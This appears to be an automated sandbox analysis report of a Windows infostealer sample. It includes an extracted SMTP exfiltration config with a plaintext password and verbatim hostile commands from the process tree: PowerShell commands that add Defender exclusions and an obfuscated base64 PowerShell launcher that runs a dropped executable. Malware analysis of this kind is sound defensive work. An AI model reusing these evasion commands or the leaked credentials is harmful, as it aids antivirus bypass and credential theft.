Analysis
- max time kernel
149s - max time network
141s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
18/08/2026, 06:55
General
- Target ZgTZ3L1tlr2M3fe.exe
- Size 3.2MB
- Sample260818-hpt71afp21
- SHA256 366e9dc605701e0f251fe27362975961c6da960f4da262eb9a1693bbd9bf318a
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.theearlybrain.com
-
Port
587
-
Username
-
Password
Hope0515!
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 51 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 25 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\ZgTZ3L1tlr2M3fe.exe"C:\Users\Admin\AppData\Local\Temp\ZgTZ3L1tlr2M3fe.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ZgTZ3L1tlr2M3fe.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\ZgTZ3L1tlr2M3fe.exeC:\Users\Admin\AppData\Local\Temp\ZgTZ3L1tlr2M3fe.exe2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" all -k --output-path "C:\Users\Admin\AppData\Local\Temp\0f6494d30e6bdf637df4515452c8c7d5"3⤵
-
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" all -k --output-path "C:\Users\Admin\AppData\Local\Temp\0f6494d30e6bdf637df4515452c8c7d5"3⤵
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$zqkvyg=$env:COMPUTERNAME;$auxrsd=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$vwjs54=9408;$nllgp1=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHRTUFJtUFFDSS5leGU=')));$zqkvyg=$env:COMPUTERNAME;& $auxrsd -FilePath $nllgp1"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\tSPRmPQCI.exe"C:\Users\Admin\AppData\Roaming\tSPRmPQCI.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\tSPRmPQCI.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\tSPRmPQCI.exeC:\Users\Admin\AppData\Roaming\tSPRmPQCI.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
tSPRmPQCI.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_0mpilein.q1c.ps1
tSPRmPQCI.exe
memory/1148-61-0x00000223DB100000-0x00000223DB110000-memory.dmp
memory/1148-85-0x00000223F42A0000-0x00000223F4462000-memory.dmp
memory/1148-11-0x00000223DB100000-0x00000223DB110000-memory.dmp
memory/1148-9-0x0000000140000000-0x000000014025C000-memory.dmp
memory/1148-87-0x00000223F41D0000-0x00000223F4220000-memory.dmp
memory/1148-86-0x00000223F4150000-0x00000223F41C6000-memory.dmp
memory/1260-29-0x000001D0EE540000-0x000001D0EE54A000-memory.dmp
memory/1260-28-0x000001D0EE870000-0x000001D0EE925000-memory.dmp
memory/1260-30-0x000001D0EEA90000-0x000001D0EEAAC000-memory.dmp
memory/1260-38-0x000001D0EE550000-0x000001D0EE55A000-memory.dmp
memory/1260-39-0x000001D0EEAB0000-0x000001D0EEACA000-memory.dmp
memory/1260-40-0x000001D0EEA70000-0x000001D0EEA78000-memory.dmp
memory/1260-41-0x000001D0EEA80000-0x000001D0EEA86000-memory.dmp
memory/1260-42-0x000001D0EEAD0000-0x000001D0EEADA000-memory.dmp
memory/1260-27-0x000001D0EE850000-0x000001D0EE86C000-memory.dmp
memory/1260-17-0x000001D0EE3E0000-0x000001D0EE402000-memory.dmp
memory/1384-3-0x0000027A399F0000-0x0000027A39A00000-memory.dmp
memory/1384-2-0x0000027A399D0000-0x0000027A399F4000-memory.dmp
memory/1384-0-0x0000027A1E910000-0x0000027A1EC4C000-memory.dmp
memory/1384-5-0x0000027A399F0000-0x0000027A39A00000-memory.dmp
memory/1384-1-0x0000027A399F0000-0x0000027A39A00000-memory.dmp
memory/1384-4-0x0000027A3A990000-0x0000027A3AC8A000-memory.dmp
memory/1708-51-0x0000000040000000-0x00000000401F5000-memory.dmp
memory/1708-55-0x0000000040000000-0x00000000401F5000-memory.dmp
memory/1708-56-0x000001D2C7AE0000-0x000001D2C7B40000-memory.dmp
memory/1708-57-0x000001D2C7AE0000-0x000001D2C7B40000-memory.dmp
memory/3992-83-0x0000020A5A8E0000-0x0000020A5A995000-memory.dmp
memory/4768-50-0x000001F0AEF90000-0x000001F0AEFB4000-memory.dmp
memory/4768-67-0x000001F0C7800000-0x000001F0C78B0000-memory.dmp
memory/4768-62-0x000001F0C7800000-0x000001F0C78B0000-memory.dmp
memory/4824-94-0x000001ACBB2B0000-0x000001ACBB310000-memory.dmp
memory/4824-93-0x000001ACBB2B0000-0x000001ACBB310000-memory.dmp